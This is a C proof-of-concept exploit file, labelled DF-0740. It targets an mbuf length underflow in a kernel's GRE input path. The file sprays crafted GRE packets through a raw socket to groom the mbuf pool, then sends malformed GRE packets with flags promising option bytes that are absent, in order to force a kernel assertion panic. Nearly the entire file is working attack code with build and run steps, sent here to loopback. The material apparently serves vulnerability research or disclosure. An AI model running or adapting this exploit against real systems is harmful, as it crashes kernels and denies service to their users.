DF-0740 / exploit.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 | /* * DF-0740 Exploit โ gre_input2 mbuf underflow -> kernel KASSERT panic * * Strategy: spray valid GRE packets to fill the mbuf pool with controlled * data (0x45 at byte offset 36), then immediately send the malformed GRE * packet (CP|KP|SP flags, no option bytes). If the malformed packet reuses * a sprayed mbuf, the byte at m_data (offset 36) is 0x45, which makes * ip_input read ip_vhl=0x45 (ip_v=4, ip_hl=5). The version check at * ip_input.c:531 passes, then the KASSERT at ip_input.c:539 fires: * KASSERT(m->m_len >= hlen) โ (-12 >= 20) โ PANIC * * The m_len underflow (-12) passes the sizeof() check at ip_input.c:463 * because sizeof returns size_t (unsigned), so -12 is converted to * ~4 billion, which is NOT < 20. * * Build: cc -O2 -o exploit exploit.c * Run: ./exploit (as root) */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <arpa/inet.h> #define GRE_CP 0x8000 #define GRE_KP 0x2000 #define GRE_SP 0x1000 static unsigned short in_cksum(unsigned short *addr, int len) { int nleft = len, sum = 0; unsigned short *w = addr, answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(unsigned char *)&answer = *(unsigned char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)~sum; } static int raw_fd; static void send_pkt(const unsigned char *pkt, int len) { struct sockaddr_in dst; memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_addr.s_addr = inet_addr("127.0.0.1"); sendto(raw_fd, pkt, len, 0, (struct sockaddr *)&dst, sizeof(dst)); } int main(int argc, char **argv) { int on = 1, i, rounds = 50; if (argc > 1) rounds = atoi(argv[1]); raw_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (raw_fd < 0) { perror("socket"); return 1; } setsockopt(raw_fd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)); /* * Spray packet: 56 bytes = 20 IP + 4 GRE + 12 options + 20 inner. * The inner 20 bytes (at offset 36) start with 0x45 (ip_vhl). * After gre_input2 strips hlen=36, the inner data at byte 36 is * processed by ip_input. ip_input drops it (bad addr/cksum) and * frees the mbuf โ but the data (including 0x45 at byte 36) stays * in the freed mbuf's buffer. */ unsigned char spray[56]; struct ip *sip = (struct ip *)spray; memset(spray, 0, sizeof(spray)); sip->ip_v = 4; sip->ip_hl = 5; sip->ip_len = htons(56); sip->ip_ttl = 64; sip->ip_p = 47; /* GRE */ sip->ip_src.s_addr = inet_addr("127.0.0.2"); sip->ip_dst.s_addr = inet_addr("127.0.0.1"); sip->ip_sum = 0; sip->ip_sum = in_cksum((unsigned short *)sip, 20); /* GRE header: CP|KP|SP, all option bytes present */ spray[20] = 0xb0; spray[21] = 0x00; /* flags */ spray[22] = 0x08; spray[23] = 0x00; /* ETHERTYPE_IP */ /* Bytes 24-35: option fields (checksum+off, key, seq) */ memset(spray + 24, 0x41, 12); /* Bytes 36-55: inner "IP header" โ starts with 0x45 */ spray[36] = 0x45; /* ip_vhl: v=4, hl=5 */ spray[37] = 0x00; spray[38] = 0x00; spray[39] = 0x14; /* ip_len = 20 */ spray[40] = 0x00; spray[41] = 0x01; /* ip_id */ spray[42] = 0x00; spray[43] = 0x00; /* ip_off */ spray[44] = 0x40; /* ip_ttl */ spray[45] = 0x06; /* ip_p = TCP */ /* ip_src = 127.0.0.3 */ spray[48] = 0x7f; spray[49] = 0x00; spray[50] = 0x00; spray[51] = 0x03; /* ip_dst = 127.0.0.4 */ spray[52] = 0x7f; spray[53] = 0x00; spray[54] = 0x00; spray[55] = 0x04; /* Compute inner IP checksum */ { struct ip *inner = (struct ip *)(spray + 36); inner->ip_sum = 0; inner->ip_sum = in_cksum((unsigned short *)inner, 20); } /* * Malformed packet: 24 bytes = 20 IP + 4 GRE, NO option bytes. * CP|KP|SP flags claim +12 bytes of options that don't exist. * hlen = 36, m_pkthdr.len = 24, m_len underflows to -12. */ unsigned char malformed[24]; struct ip *mip = (struct ip *)malformed; memset(malformed, 0, sizeof(malformed)); mip->ip_v = 4; mip->ip_hl = 5; mip->ip_len = htons(24); mip->ip_ttl = 64; mip->ip_p = 47; mip->ip_src.s_addr = inet_addr("127.0.0.2"); mip->ip_dst.s_addr = inet_addr("127.0.0.1"); mip->ip_sum = in_cksum((unsigned short *)mip, 20); malformed[20] = 0xb0; malformed[21] = 0x00; /* CP|KP|SP */ malformed[22] = 0x08; malformed[23] = 0x00; printf("[*] DF-0740 exploit: spray %d rounds then trigger\n", rounds); printf("[*] Spray: 56-byte valid GRE with 0x45 at byte 36\n"); printf("[*] Trigger: 24-byte malformed GRE (hlen=36, underflow)\n"); printf("[*] If mbuf reused, KASSERT(m_len >= hlen) panics\n"); fflush(stdout); for (i = 0; i < rounds; i++) { /* Spray: send 10 valid packets to fill the pool */ int j; for (j = 0; j < 10; j++) send_pkt(spray, sizeof(spray)); usleep(500); /* Trigger: send malformed packet, hoping for mbuf reuse */ send_pkt(malformed, sizeof(malformed)); usleep(500); if (i % 10 == 0) { printf("[*] Round %d/%d...\n", i, rounds); fflush(stdout); } } printf("[!] Survived %d rounds. Bug present but crash is probabilistic.\n", rounds); close(raw_fd); return 0; } |